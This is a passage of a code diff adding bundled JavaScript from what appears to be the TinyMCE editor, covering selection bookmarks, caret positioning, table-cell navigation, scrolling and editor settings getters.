+    trimmedOffset = trim(container.data.slice(0, offset)).length;
+    for (node = container.previousSibling; node && $_3b9u2y1rjjgwe7qe.isText(node); node = node.previousSibling) {
+      trimmedOffset += trim(node.data).length;
+    }
+    return trimmedOffset;
+  };
+  var getPoint = function (dom, trim, normalized, rng, start) {
+    var container = rng[start ? 'startContainer' : 'endContainer'];
+    var offset = rng[start ? 'startOffset' : 'endOffset'];
+    var point = [];
+    var childNodes, after = 0;
+    var root = dom.getRoot();
+    if ($_3b9u2y1rjjgwe7qe.isText(container)) {
+      point.push(normalized ? getNormalizedTextOffset(trim, container, offset) : offset);
+    } else {
+      childNodes = container.childNodes;
+      if (offset >= childNodes.length && childNodes.length) {
+        after = 1;
+        offset = Math.max(0, childNodes.length - 1);
+      }
+      point.push(dom.nodeIndex(childNodes[offset], normalized) + after);
+    }
+    for (; container && container !== root; container = container.parentNode) {
+      point.push(dom.nodeIndex(container, normalized));
+    }
+    return point;
+  };
+  var getLocation = function (trim, selection, normalized, rng) {
+    var dom = selection.dom, bookmark = {};
+    bookmark.start = getPoint(dom, trim, normalized, rng, true);
+    if (!selection.isCollapsed()) {
+      bookmark.end = getPoint(dom, trim, normalized, rng, false);
+    }
+    return bookmark;
+  };
+  var trimEmptyTextNode = function (node) {
+    if ($_3b9u2y1rjjgwe7qe.isText(node) && node.data.length === 0) {
+      node.parentNode.removeChild(node);
+    }
+  };
+  var findIndex$3 = function (dom, name, element) {
+    var count = 0;
+    $_6cwiepljjgwe7j4.each(dom.select(name), function (node) {
+      if (node.getAttribute('data-mce-bogus') === 'all') {
+        return;
+      }
+      if (node === element) {
+        return false;
+      }
+      count++;
+    });
+    return count;
+  };
+  var moveEndPoint = function (rng, start) {
+    var container, offset, childNodes;
+    var prefix = start ? 'start' : 'end';
+    container = rng[prefix + 'Container'];
+    offset = rng[prefix + 'Offset'];
+    if ($_3b9u2y1rjjgwe7qe.isElement(container) && container.nodeName === 'TR') {
+      childNodes = container.childNodes;
+      container = childNodes[Math.min(start ? offset : offset - 1, childNodes.length - 1)];
+      if (container) {
+        offset = start ? 0 : container.childNodes.length;
+        rng['set' + (start ? 'Start' : 'End')](container, offset);
+      }
+    }
+  };
+  var normalizeTableCellSelection = function (rng) {
+    moveEndPoint(rng, true);
+    moveEndPoint(rng, false);
+    return rng;
+  };
+  var findSibling = function (node, offset) {
+    var sibling;
+    if ($_3b9u2y1rjjgwe7qe.isElement(node)) {
+      node = getNode(node, offset);
+      if (isContentEditableFalse$2(node)) {
+        return node;
+      }
+    }
+    if (isCaretContainer(node)) {
+      if ($_3b9u2y1rjjgwe7qe.isText(node) && isCaretContainerBlock(node)) {
+        node = node.parentNode;
+      }
+      sibling = node.previousSibling;
+      if (isContentEditableFalse$2(sibling)) {
+        return sibling;
+      }
+      sibling = node.nextSibling;
+      if (isContentEditableFalse$2(sibling)) {
+        return sibling;
+      }
+    }
+  };
+  var findAdjacentContentEditableFalseElm = function (rng) {
+    return findSibling(rng.startContainer, rng.startOffset) || findSibling(rng.endContainer, rng.endOffset);
+  };
+  var getOffsetBookmark = function (trim, normalized, selection) {
+    var element = selection.getNode();
+    var name = element ? element.nodeName : null;
+    var rng = selection.getRng();
+    if (isContentEditableFalse$2(element) || name === 'IMG') {
+      return {
+        name: name,
+        index: findIndex$3(selection.dom, name, element)
+      };
+    }
+    var sibling = findAdjacentContentEditableFalseElm(rng);
+    if (sibling) {
+      name = sibling.tagName;
+      return {
+        name: name,
+        index: findIndex$3(selection.dom, name, sibling)
+      };
+    }
+    return getLocation(trim, selection, normalized, rng);
+  };
+  var getCaretBookmark = function (selection) {
+    var rng = selection.getRng();
+    return {
+      start: create$2(selection.dom.getRoot(), CaretPosition$1.fromRangeStart(rng)),
+      end: create$2(selection.dom.getRoot(), CaretPosition$1.fromRangeEnd(rng))
+    };
+  };
+  var getRangeBookmark = function (selection) {
+    return { rng: selection.getRng() };
+  };
+  var createBookmarkSpan = function (dom, id, filled) {
+    var args = {
+      'data-mce-type': 'bookmark',
+      'id': id,
+      'style': 'overflow:hidden;line-height:0px'
+    };
+    return filled ? dom.create('span', args, '&#xFEFF;') : dom.create('span', args);
+  };
+  var getPersistentBookmark = function (selection, filled) {
+    var dom = selection.dom;
+    var rng = selection.getRng();
+    var id = dom.uniqueId();
+    var collapsed = selection.isCollapsed();
+    var element = selection.getNode();
+    var name = element.nodeName;
+    if (name === 'IMG') {
+      return {
+        name: name,
+        index: findIndex$3(dom, name, element)
+      };
+    }
+    var rng2 = normalizeTableCellSelection(rng.cloneRange());
+    if (!collapsed) {
+      rng2.collapse(false);
+      var endBookmarkNode = createBookmarkSpan(dom, id + '_end', filled);
+      rng2.insertNode(endBookmarkNode);
+      trimEmptyTextNode(endBookmarkNode.nextSibling);
+    }
+    rng = normalizeTableCellSelection(rng);
+    rng.collapse(true);
+    var startBookmarkNode = createBookmarkSpan(dom, id + '_start', filled);
+    rng.insertNode(startBookmarkNode);
+    trimEmptyTextNode(startBookmarkNode.previousSibling);
+    selection.moveToBookmark({
+      id: id,
+      keep: 1
+    });
+    return { id: id };
+  };
+  var getBookmark = function (selection, type, normalized) {
+    if (type === 2) {
+      return getOffsetBookmark($_2xw7ul2pjjgwe7xs.trim, normalized, selection);
+    } else if (type === 3) {
+      return getCaretBookmark(selection);
+    } else if (type) {
+      return getRangeBookmark(selection);
+    } else {
+      return getPersistentBookmark(selection, false);
+    }
+  };
+  var $_ga29lf2jjjgwe7wh = {
+    getBookmark: getBookmark,
+    getUndoBookmark: curry(getOffsetBookmark, identity, true),
+    getPersistentBookmark: getPersistentBookmark
+  };
+
+  var CARET_ID = '_mce_caret';
+  var isCaretNode = function (node) {
+    return $_3b9u2y1rjjgwe7qe.isElement(node) && node.id === CARET_ID;
+  };
+  var getParentCaretContainer = function (body, node) {
+    while (node && node !== body) {
+      if (node.id === CARET_ID) {
+        return node;
+      }
+      node = node.parentNode;
+    }
+    return null;
+  };
+
+  var isElement$4 = $_3b9u2y1rjjgwe7qe.isElement;
+  var isText$6 = $_3b9u2y1rjjgwe7qe.isText;
+  var removeNode = function (node) {
+    var parentNode = node.parentNode;
+    if (parentNode) {
+      parentNode.removeChild(node);
+    }
+  };
+  var getNodeValue = function (node) {
+    try {
+      return node.nodeValue;
+    } catch (ex) {
+      return '';
+    }
+  };
+  var setNodeValue = function (node, text) {
+    if (text.length === 0) {
+      removeNode(node);
+    } else {
+      node.nodeValue = text;
+    }
+  };
+  var trimCount = function (text) {
+    var trimmedText = $_2xw7ul2pjjgwe7xs.trim(text);
+    return {
+      count: text.length - trimmedText.length,
+      text: trimmedText
+    };
+  };
+  var removeUnchanged = function (caretContainer, pos) {
+    remove$7(caretContainer);
+    return pos;
+  };
+  var removeTextAndReposition = function (caretContainer, pos) {
+    var before = trimCount(caretContainer.data.substr(0, pos.offset()));
+    var after = trimCount(caretContainer.data.substr(pos.offset()));
+    var text = before.text + after.text;
+    if (text.length > 0) {
+      setNodeValue(caretContainer, text);
+      return CaretPosition$1(caretContainer, pos.offset() - before.count);
+    } else {
+      return pos;
+    }
+  };
+  var removeElementAndReposition = function (caretContainer, pos) {
+    var parentNode = pos.container();
+    var newPosition = indexOf(from$1(parentNode.childNodes), caretContainer).map(function (index) {
+      return index < pos.offset() ? CaretPosition$1(parentNode, pos.offset() - 1) : pos;
+    }).getOr(pos);
+    remove$7(caretContainer);
+    return newPosition;
+  };
+  var removeTextCaretContainer = function (caretContainer, pos) {
+    return isText$6(caretContainer) && pos.container() === caretContainer ? removeTextAndReposition(caretContainer, pos) : removeUnchanged(caretContainer, pos);
+  };
+  var removeElementCaretContainer = function (caretContainer, pos) {
+    return pos.container() === caretContainer.parentNode ? removeElementAndReposition(caretContainer, pos) : removeUnchanged(caretContainer, pos);
+  };
+  var removeAndReposition = function (container, pos) {
+    return CaretPosition$1.isTextPosition(pos) ? removeTextCaretContainer(container, pos) : removeElementCaretContainer(container, pos);
+  };
+  var remove$7 = function (caretContainerNode) {
+    if (isElement$4(caretContainerNode) && isCaretContainer(caretContainerNode)) {
+      if (hasContent(caretContainerNode)) {
+        caretContainerNode.removeAttribute('data-mce-caret');
+      } else {
+        removeNode(caretContainerNode);
+      }
+    }
+    if (isText$6(caretContainerNode)) {
+      var text = $_2xw7ul2pjjgwe7xs.trim(getNodeValue(caretContainerNode));
+      setNodeValue(caretContainerNode, text);
+    }
+  };
+  var $_cueauu31jjgwe7zy = {
+    removeAndReposition: removeAndReposition,
+    remove: remove$7
+  };
+
+  var isContentEditableTrue$2 = $_3b9u2y1rjjgwe7qe.isContentEditableTrue;
+  var isContentEditableFalse$3 = $_3b9u2y1rjjgwe7qe.isContentEditableFalse;
+  var showCaret = function (direction, editor, node, before, scrollIntoView) {
+    return editor._selectionOverrides.showCaret(direction, node, before, scrollIntoView);
+  };
+  var getNodeRange = function (node) {
+    var rng = node.ownerDocument.createRange();
+    rng.selectNode(node);
+    return rng;
+  };
+  var selectNode = function (editor, node) {
+    var e = editor.fire('BeforeObjectSelected', { target: node });
+    if (e.isDefaultPrevented()) {
+      return null;
+    }
+    return getNodeRange(node);
+  };
+  var renderCaretAtRange = function (editor, range, scrollIntoView) {
+    var normalizedRange = normalizeRange(1, editor.getBody(), range);
+    var caretPosition = CaretPosition$1.fromRangeStart(normalizedRange);
+    var caretPositionNode = caretPosition.getNode();
+    if (isContentEditableFalse$3(caretPositionNode)) {
+      return showCaret(1, editor, caretPositionNode, !caretPosition.isAtEnd(), false);
+    }
+    var caretPositionBeforeNode = caretPosition.getNode(true);
+    if (isContentEditableFalse$3(caretPositionBeforeNode)) {
+      return showCaret(1, editor, caretPositionBeforeNode, false, false);
+    }
+    var ceRoot = editor.dom.getParent(caretPosition.getNode(), function (node) {
+      return isContentEditableFalse$3(node) || isContentEditableTrue$2(node);
+    });
+    if (isContentEditableFalse$3(ceRoot)) {
+      return showCaret(1, editor, ceRoot, false, scrollIntoView);
+    }
+    return null;
+  };
+  var renderRangeCaret = function (editor, range, scrollIntoView) {
+    if (!range || !range.collapsed) {
+      return range;
+    }
+    var caretRange = renderCaretAtRange(editor, range, scrollIntoView);
+    if (caretRange) {
+      return caretRange;
+    }
+    return range;
+  };
+
+  var HDirection;
+  (function (HDirection) {
+    HDirection[HDirection['Backwards'] = -1] = 'Backwards';
+    HDirection[HDirection['Forwards'] = 1] = 'Forwards';
+  }(HDirection || (HDirection = {})));
+  var isContentEditableFalse$4 = $_3b9u2y1rjjgwe7qe.isContentEditableFalse;
+  var isText$7 = $_3b9u2y1rjjgwe7qe.isText;
+  var isElement$5 = $_3b9u2y1rjjgwe7qe.isElement;
+  var isBr$4 = $_3b9u2y1rjjgwe7qe.isBr;
+  var isCaretCandidate$2 = isCaretCandidate;
+  var isAtomic$1 = isAtomic;
+  var isEditableCaretCandidate$1 = isEditableCaretCandidate;
+  var getParents = function (node, root) {
+    var parents = [];
+    while (node && node !== root) {
+      parents.push(node);
+      node = node.parentNode;
+    }
+    return parents;
+  };
+  var nodeAtIndex = function (container, offset) {
+    if (container.hasChildNodes() && offset < container.childNodes.length) {
+      return container.childNodes[offset];
+    }
+    return null;
+  };
+  var getCaretCandidatePosition = function (direction, node) {
+    if (isForwards(direction)) {
+      if (isCaretCandidate$2(node.previousSibling) && !isText$7(node.previousSibling)) {
+        return CaretPosition$1.before(node);
+      }
+      if (isText$7(node)) {
+        return CaretPosition$1(node, 0);
+      }
+    }
+    if (isBackwards(direction)) {
+      if (isCaretCandidate$2(node.nextSibling) && !isText$7(node.nextSibling)) {
+        return CaretPosition$1.after(node);
+      }
+      if (isText$7(node)) {
+        return CaretPosition$1(node, node.data.length);
+      }
+    }
+    if (isBackwards(direction)) {
+      if (isBr$4(node)) {
+        return CaretPosition$1.before(node);
+      }
+      return CaretPosition$1.after(node);
+    }
+    return CaretPosition$1.before(node);
+  };
+  var isBrBeforeBlock = function (node, root) {
+    var next;
+    if (!$_3b9u2y1rjjgwe7qe.isBr(node)) {
+      return false;
+    }
+    next = findCaretPosition(1, CaretPosition$1.after(node), root);
+    if (!next) {
+      return false;
+    }
+    return !isInSameBlock(CaretPosition$1.before(node), CaretPosition$1.before(next), root);
+  };
+  var findCaretPosition = function (direction, startPos, root) {
+    var node, nextNode, innerNode;
+    var rootContentEditableFalseElm, caretPosition;
+    if (!isElement$5(root) || !startPos) {
+      return null;
+    }
+    if (startPos.isEqual(CaretPosition$1.after(root)) && root.lastChild) {
+      caretPosition = CaretPosition$1.after(root.lastChild);
+      if (isBackwards(direction) && isCaretCandidate$2(root.lastChild) && isElement$5(root.lastChild)) {
+        return isBr$4(root.lastChild) ? CaretPosition$1.before(root.lastChild) : caretPosition;
+      }
+    } else {
+      caretPosition = startPos;
+    }
+    var container = caretPosition.container();
+    var offset = caretPosition.offset();
+    if (isText$7(container)) {
+      if (isBackwards(direction) && offset > 0) {
+        return CaretPosition$1(container, --offset);
+      }
+      if (isForwards(direction) && offset < container.length) {
+        return CaretPosition$1(container, ++offset);
+      }
+      node = container;
+    } else {
+      if (isBackwards(direction) && offset > 0) {
+        nextNode = nodeAtIndex(container, offset - 1);
+        if (isCaretCandidate$2(nextNode)) {
+          if (!isAtomic$1(nextNode)) {
+            innerNode = findNode(nextNode, direction, isEditableCaretCandidate$1, nextNode);
+            if (innerNode) {
+              if (isText$7(innerNode)) {
+                return CaretPosition$1(innerNode, innerNode.data.length);
+              }
+              return CaretPosition$1.after(innerNode);
+            }
+          }
+          if (isText$7(nextNode)) {
+            return CaretPosition$1(nextNode, nextNode.data.length);
+          }
+          return CaretPosition$1.before(nextNode);
+        }
+      }
+      if (isForwards(direction) && offset < container.childNodes.length) {
+        nextNode = nodeAtIndex(container, offset);
+        if (isCaretCandidate$2(nextNode)) {
+          if (isBr$4(nextNode) && root.lastChild === nextNode) {
+            return null;
+          }
+          if (isBrBeforeBlock(nextNode, root)) {
+            return findCaretPosition(direction, CaretPosition$1.after(nextNode), root);
+          }
+          if (!isAtomic$1(nextNode)) {
+            innerNode = findNode(nextNode, direction, isEditableCaretCandidate$1, nextNode);
+            if (innerNode) {
+              if (isText$7(innerNode)) {
+                return CaretPosition$1(innerNode, 0);
+              }
+              return CaretPosition$1.before(innerNode);
+            }
+          }
+          if (isText$7(nextNode)) {
+            return CaretPosition$1(nextNode, 0);
+          }
+          return CaretPosition$1.after(nextNode);
+        }
+      }
+      node = nextNode ? nextNode : caretPosition.getNode();
+    }
+    if (isForwards(direction) && caretPosition.isAtEnd() || isBackwards(direction) && caretPosition.isAtStart()) {
+      node = findNode(node, direction, $_4127e12ljjgwe7ww.constant(true), root, true);
+      if (isEditableCaretCandidate$1(node, root)) {
+        return getCaretCandidatePosition(direction, node);
+      }
+    }
+    nextNode = findNode(node, direction, isEditableCaretCandidate$1, root);
+    rootContentEditableFalseElm = $_6t4axrmjjgwe7jf.last($_6t4axrmjjgwe7jf.filter(getParents(container, root), isContentEditableFalse$4));
+    if (rootContentEditableFalseElm && (!nextNode || !rootContentEditableFalseElm.contains(nextNode))) {
+      if (isForwards(direction)) {
+        caretPosition = CaretPosition$1.after(rootContentEditableFalseElm);
+      } else {
+        caretPosition = CaretPosition$1.before(rootContentEditableFalseElm);
+      }
+      return caretPosition;
+    }
+    if (nextNode) {
+      return getCaretCandidatePosition(direction, nextNode);
+    }
+    return null;
+  };
+  var CaretWalker = function (root) {
+    return {
+      next: function (caretPosition) {
+        return findCaretPosition(HDirection.Forwards, caretPosition, root);
+      },
+      prev: function (caretPosition) {
+        return findCaretPosition(HDirection.Backwards, caretPosition, root);
+      }
+    };
+  };
+
+  var BreakType;
+  (function (BreakType) {
+    BreakType[BreakType['Br'] = 0] = 'Br';
+    BreakType[BreakType['Block'] = 1] = 'Block';
+    BreakType[BreakType['Wrap'] = 2] = 'Wrap';
+    BreakType[BreakType['Eol'] = 3] = 'Eol';
+  }(BreakType || (BreakType = {})));
+  var flip = function (direction, positions) {
+    return direction === HDirection.Backwards ? positions.reverse() : positions;
+  };
+  var walk$1 = function (direction, caretWalker, pos) {
+    return direction === HDirection.Forwards ? caretWalker.next(pos) : caretWalker.prev(pos);
+  };
+  var getBreakType = function (scope, direction, currentPos, nextPos) {
+    if ($_3b9u2y1rjjgwe7qe.isBr(nextPos.getNode(direction === HDirection.Forwards))) {
+      return BreakType.Br;
+    } else if (isInSameBlock(currentPos, nextPos) === false) {
+      return BreakType.Block;
+    } else {
+      return BreakType.Wrap;
+    }
+  };
+  var getPositionsUntil = function (predicate, direction, scope, start) {
+    var caretWalker = CaretWalker(scope);
+    var currentPos = start, nextPos;
+    var positions = [];
+    while (currentPos) {
+      nextPos = walk$1(direction, caretWalker, currentPos);
+      if (!nextPos) {
+        break;
+      }
+      if ($_3b9u2y1rjjgwe7qe.isBr(nextPos.getNode(false))) {
+        if (direction === HDirection.Forwards) {
+          return {
+            positions: flip(direction, positions).concat([nextPos]),
+            breakType: BreakType.Br,
+            breakAt: Option.some(nextPos)
+          };
+        } else {
+          return {
+            positions: flip(direction, positions),
+            breakType: BreakType.Br,
+            breakAt: Option.some(nextPos)
+          };
+        }
+      }
+      if (!nextPos.isVisible()) {
+        currentPos = nextPos;
+        continue;
+      }
+      if (predicate(currentPos, nextPos)) {
+        var breakType = getBreakType(scope, direction, currentPos, nextPos);
+        return {
+          positions: flip(direction, positions),
+          breakType: breakType,
+          breakAt: Option.some(nextPos)
+        };
+      }
+      positions.push(nextPos);
+      currentPos = nextPos;
+    }
+    return {
+      positions: flip(direction, positions),
+      breakType: BreakType.Eol,
+      breakAt: Option.none()
+    };
+  };
+  var getAdjacentLinePositions = function (direction, getPositionsUntilBreak, scope, start) {
+    return getPositionsUntilBreak(scope, start).breakAt.map(function (pos) {
+      var positions = getPositionsUntilBreak(scope, pos).positions;
+      return direction === HDirection.Backwards ? positions.concat(pos) : [pos].concat(positions);
+    }).getOr([]);
+  };
+  var findClosestHorizontalPositionFromPoint = function (positions, x) {
+    return foldl(positions, function (acc, newPos) {
+      return acc.fold(function () {
+        return Option.some(newPos);
+      }, function (lastPos) {
+        return liftN([
+          head(lastPos.getClientRects()),
+          head(newPos.getClientRects())
+        ], function (lastRect, newRect) {
+          var lastDist = Math.abs(x - lastRect.left);
+          var newDist = Math.abs(x - newRect.left);
+          return newDist <= lastDist ? newPos : lastPos;
+        }).or(acc);
+      });
+    }, Option.none());
+  };
+  var findClosestHorizontalPosition = function (positions, pos) {
+    return head(pos.getClientRects()).bind(function (targetRect) {
+      return findClosestHorizontalPositionFromPoint(positions, targetRect.left);
+    });
+  };
+  var getPositionsUntilPreviousLine = curry(getPositionsUntil, CaretPosition.isAbove, -1);
+  var getPositionsUntilNextLine = curry(getPositionsUntil, CaretPosition.isBelow, 1);
+  var getPositionsAbove = curry(getAdjacentLinePositions, -1, getPositionsUntilPreviousLine);
+  var getPositionsBelow = curry(getAdjacentLinePositions, 1, getPositionsUntilNextLine);
+  var getFirstLinePositions = function (scope) {
+    return $_8q1ver2yjjgwe7z3.firstPositionIn(scope).map(function (pos) {
+      return [pos].concat(getPositionsUntilNextLine(scope, pos).positions);
+    }).getOr([]);
+  };
+  var getLastLinePositions = function (scope) {
+    return $_8q1ver2yjjgwe7z3.lastPositionIn(scope).map(function (pos) {
+      return getPositionsUntilPreviousLine(scope, pos).positions.concat(pos);
+    }).getOr([]);
+  };
+
+  var deflate = function (rect, delta) {
+    return {
+      left: rect.left - delta,
+      top: rect.top - delta,
+      right: rect.right + delta * 2,
+      bottom: rect.bottom + delta * 2,
+      width: rect.width + delta,
+      height: rect.height + delta
+    };
+  };
+  var getCorners = function (getYAxisValue, tds) {
+    return bind(tds, function (td) {
+      var rect = deflate(td.getBoundingClientRect(), -1);
+      return [
+        {
+          x: rect.left,
+          y: getYAxisValue(rect),
+          cell: td
+        },
+        {
+          x: rect.right,
+          y: getYAxisValue(rect),
+          cell: td
+        }
+      ];
+    });
+  };
+  var findClosestCorner = function (corners, x, y) {
+    return foldl(corners, function (acc, newCorner) {
+      return acc.fold(function () {
+        return Option.some(newCorner);
+      }, function (oldCorner) {
+        var oldDist = Math.sqrt(Math.abs(oldCorner.x - x) + Math.abs(oldCorner.y - y));
+        var newDist = Math.sqrt(Math.abs(newCorner.x - x) + Math.abs(newCorner.y - y));
+        return Option.some(newDist < oldDist ? newCorner : oldCorner);
+      });
+    }, Option.none());
+  };
+  var getClosestCell = function (getYAxisValue, isTargetCorner, table, x, y) {
+    var cells = $_d3ydn427jjgwe7uf.descendants(Element$$1.fromDom(table), 'td,th').map(function (e) {
+      return e.dom();
+    });
+    var corners = filter(getCorners(getYAxisValue, cells), function (corner) {
+      return isTargetCorner(corner, y);
+    });
+    return findClosestCorner(corners, x, y).map(function (corner) {
+      return corner.cell;
+    });
+  };
+  var getBottomValue = function (rect) {
+    return rect.bottom;
+  };
+  var getTopValue = function (rect) {
+    return rect.top;
+  };
+  var isAbove$1 = function (corner, y) {
+    return corner.y < y;
+  };
+  var isBelow$1 = function (corner, y) {
+    return corner.y > y;
+  };
+  var getClosestCellAbove = curry(getClosestCell, getBottomValue, isAbove$1);
+  var getClosestCellBelow = curry(getClosestCell, getTopValue, isBelow$1);
+  var findClosestPositionInAboveCell = function (table, pos) {
+    return head(pos.getClientRects()).bind(function (rect) {
+      return getClosestCellAbove(table, rect.left, rect.top);
+    }).bind(function (cell) {
+      return findClosestHorizontalPosition(getLastLinePositions(cell), pos);
+    });
+  };
+  var findClosestPositionInBelowCell = function (table, pos) {
+    return last(pos.getClientRects()).bind(function (rect) {
+      return getClosestCellBelow(table, rect.left, rect.top);
+    }).bind(function (cell) {
+      return findClosestHorizontalPosition(getFirstLinePositions(cell), pos);
+    });
+  };
+
+  var getPos$1 = function (elm) {
+    var x = 0, y = 0;
+    var offsetParent = elm;
+    while (offsetParent && offsetParent.nodeType) {
+      x += offsetParent.offsetLeft || 0;
+      y += offsetParent.offsetTop || 0;
+      offsetParent = offsetParent.offsetParent;
+    }
+    return {
+      x: x,
+      y: y
+    };
+  };
+  var fireScrollIntoViewEvent = function (editor, elm, alignToTop) {
+    var scrollEvent = {
+      elm: elm,
+      alignToTop: alignToTop
+    };
+    editor.fire('scrollIntoView', scrollEvent);
+    return scrollEvent.isDefaultPrevented();
+  };
+  var scrollElementIntoView = function (editor, elm, alignToTop) {
+    var y, viewPort;
+    var dom = editor.dom;
+    var root = dom.getRoot();
+    var viewPortY, viewPortH, offsetY = 0;
+    if (fireScrollIntoViewEvent(editor, elm, alignToTop)) {
+      return;
+    }
+    if (!$_3b9u2y1rjjgwe7qe.isElement(elm)) {
+      return;
+    }
+    if (alignToTop === false) {
+      offsetY = elm.offsetHeight;
+    }
+    if (root.nodeName !== 'BODY') {
+      var scrollContainer = editor.selection.getScrollContainer();
+      if (scrollContainer) {
+        y = getPos$1(elm).y - getPos$1(scrollContainer).y + offsetY;
+        viewPortH = scrollContainer.clientHeight;
+        viewPortY = scrollContainer.scrollTop;
+        if (y < viewPortY || y + 25 > viewPortY + viewPortH) {
+          scrollContainer.scrollTop = y < viewPortY ? y : y - viewPortH + 25;
+        }
+        return;
+      }
+    }
+    viewPort = dom.getViewPort(editor.getWin());
+    y = dom.getPos(elm).y + offsetY;
+    viewPortY = viewPort.y;
+    viewPortH = viewPort.h;
+    if (y < viewPort.y || y + 25 > viewPortY + viewPortH) {
+      editor.getWin().scrollTo(0, y < viewPortY ? y : y - viewPortH + 25);
+    }
+  };
+  var getViewPortRect = function (editor) {
+    if (editor.inline) {
+      return editor.getBody().getBoundingClientRect();
+    } else {
+      var win = editor.getWin();
+      return {
+        left: 0,
+        right: win.innerWidth,
+        top: 0,
+        bottom: win.innerHeight,
+        width: win.innerWidth,
+        height: win.innerHeight
+      };
+    }
+  };
+  var scrollBy = function (editor, dx, dy) {
+    if (editor.inline) {
+      editor.getBody().scrollLeft += dx;
+      editor.getBody().scrollTop += dy;
+    } else {
+      editor.getWin().scrollBy(dx, dy);
+    }
+  };
+  var scrollRangeIntoView = function (editor, rng) {
+    head(CaretPosition.fromRangeStart(rng).getClientRects()).each(function (rngRect) {
+      var bodyRect = getViewPortRect(editor);
+      var overflow = getOverflow(bodyRect, rngRect);
+      var margin = 4;
+      var dx = overflow.x > 0 ? overflow.x + margin : overflow.x - margin;
+      var dy = overflow.y > 0 ? overflow.y + margin : overflow.y - margin;
+      scrollBy(editor, overflow.x !== 0 ? dx : 0, overflow.y !== 0 ? dy : 0);
+    });
+  };
+  var $_1mgvl137jjgwe825 = {
+    scrollElementIntoView: scrollElementIntoView,
+    scrollRangeIntoView: scrollRangeIntoView
+  };
+
+  var getBodySetting = function (editor, name, defaultValue) {
+    var value = editor.getParam(name, defaultValue);
+    if (value.indexOf('=') !== -1) {
+      var bodyObj = editor.getParam(name, '', 'hash');
+      return bodyObj.hasOwnProperty(editor.id) ? bodyObj[editor.id] : defaultValue;
+    } else {
+      return value;
+    }
+  };
+  var getIframeAttrs = function (editor) {
+    return editor.getParam('iframe_attrs', {});
+  };
+  var getDocType = function (editor) {
+    return editor.getParam('doctype', '<!DOCTYPE html>');
+  };
+  var getDocumentBaseUrl = function (editor) {
+    return editor.getParam('document_base_url', '');
+  };
+  var getBodyId = function (editor) {
+    return getBodySetting(editor, 'body_id', 'tinymce');
+  };
+  var getBodyClass = function (editor) {
+    return getBodySetting(editor, 'body_class', '');
+  };
+  var getContentSecurityPolicy = function (editor) {
+    return editor.getParam('content_security_policy', '');
+  };
+  var shouldPutBrInPre = function (editor) {
+    return editor.getParam('br_in_pre', true);
+  };
+  var getForcedRootBlock = function (editor) {
+    if (editor.getParam('force_p_newlines', false)) {
+      return 'p';
+    }
+    var block = editor.getParam('forced_root_block', 'p');
+    return block === false ? '' : block;
+  };
+  var getForcedRootBlockAttrs = function (editor) {
+    return editor.getParam('forced_root_block_attrs', {});
+  };
+  var getBrNewLineSelector = function (editor) {
+    return editor.getParam('br_newline_selector', '.mce-toc h2,figcaption,caption');
+  };
+  var getNoNewLineSelector = function (editor) {
+    return editor.getParam('no_newline_selector', '');
+  };
+  var shouldKeepStyles = function (editor) {
+    return editor.getParam('keep_styles', true);
+  };
+  var shouldEndContainerOnEmptyBlock = function (editor) {
+    return editor.getParam('end_container_on_empty_block', false);
+  };
+  var getFontStyleValues = function (editor) {
+    return $_6cwiepljjgwe7j4.explode(editor.getParam('font_size_style_values', ''));
+  };
+  var getFontSizeClasses = function (editor) {
+    return $_6cwiepljjgwe7j4.explode(editor.getParam('font_size_classes', ''));
+  };
+  var $_259vs538jjgwe82a = {
+    getIframeAttrs: getIframeAttrs,
+    getDocType: getDocType,
+    getDocumentBaseUrl: getDocumentBaseUrl,
+    getBodyId: getBodyId,
+    getBodyClass: getBodyClass,
+    getContentSecurityPolicy: getContentSecurityPolicy,
+    shouldPutBrInPre: shouldPutBrInPre,
+    getForcedRootBlock: getForcedRootBlock,
+    getForcedRootBlockAttrs: getForcedRootBlockAttrs,
+    getBrNewLineSelector: getBrNewLineSelector,
+    getNoNewLineSelector: getNoNewLineSelector,
+    shouldKeepStyles: shouldKeepStyles,
+    shouldEndContainerOnEmptyBlock: shouldEndContainerOnEmptyBlock,
+    getFontStyleValues: getFontStyleValues,
+    getFontSizeClasses: getFontSizeClasses
+  };
+
+  var browser$2 = $_7vg267ojjgwe7k0.detect().browser;
+  var isFakeCaretTableBrowser = function () {
+    return browser$2.isIE() || browser$2.isEdge() || browser$2.isFirefox();
+  };
+  var moveToRange = function (editor, rng) {
+    editor.selection.setRng(rng);
+    $_1mgvl137jjgwe825.scrollRangeIntoView(editor, rng);
+  };
+  var isAtTableCellLine = function (getPositionsUntil, scope, pos) {
+    var lineInfo = getPositionsUntil(scope, pos);
+    if (lineInfo.breakType === BreakType.Wrap && lineInfo.positions.length === 0) {
+      return lineInfo.breakAt.map(function (breakPos) {
+        return getPositionsUntil(scope, breakPos).breakAt.isNone();
+      }).getOr(true);
+    } else {
+      return lineInfo.breakAt.isNone();
+    }
+  };
+  var isAtFirstTableCellLine = $_4127e12ljjgwe7ww.curry(isAtTableCellLine, getPositionsUntilPreviousLine);
+  var isAtLastTableCellLine = $_4127e12ljjgwe7ww.curry(isAtTableCellLine, getPositionsUntilNextLine);
+  var isCaretAtStartOrEndOfTable = function (forward, rng, table) {
+    var caretPos = CaretPosition$1.fromRangeStart(rng);
+    return $_8q1ver2yjjgwe7z3.positionIn(!forward, table).map(function (pos) {
+      return pos.isEqual(caretPos);
+    }).getOr(false);
+  };
+  var navigateHorizontally = function (editor, forward, table, td) {
+    var rng = editor.selection.getRng();
+    var direction = forward ? 1 : -1;
+    if (isFakeCaretTableBrowser() && isCaretAtStartOrEndOfTable(forward, rng, table)) {
+      var newRng = showCaret(direction, editor, table, !forward, true);
+      moveToRange(editor, newRng);
+      return true;
+    }
+    return false;
+  };
+  var getClosestAbovePosition = function (root, table, start) {
+    return findClosestPositionInAboveCell(table, start).orThunk(function () {
+      return head(start.getClientRects()).bind(function (rect) {
+        return findClosestHorizontalPositionFromPoint(getPositionsAbove(root, CaretPosition$1.before(table)), rect.left);
+      });
+    }).getOr(CaretPosition$1.before(table));
+  };
+  var getClosestBelowPosition = function (root, table, start) {
+    return findClosestPositionInBelowCell(table, start).orThunk(function () {
+      return head(start.getClientRects()).bind(function (rect) {
+        return findClosestHorizontalPositionFromPoint(getPositionsBelow(root, CaretPosition$1.after(table)), rect.left);
+      });
+    }).getOr(CaretPosition$1.after(table));
+  };
+  var getTable = function (previous, pos) {
+    var node = pos.getNode(previous);
+    return $_3b9u2y1rjjgwe7qe.isElement(node) && node.nodeName === 'TABLE' ? Option.some(node) : Option.none();
+  };
+  var renderBlock = function (down, editor, table, pos) {
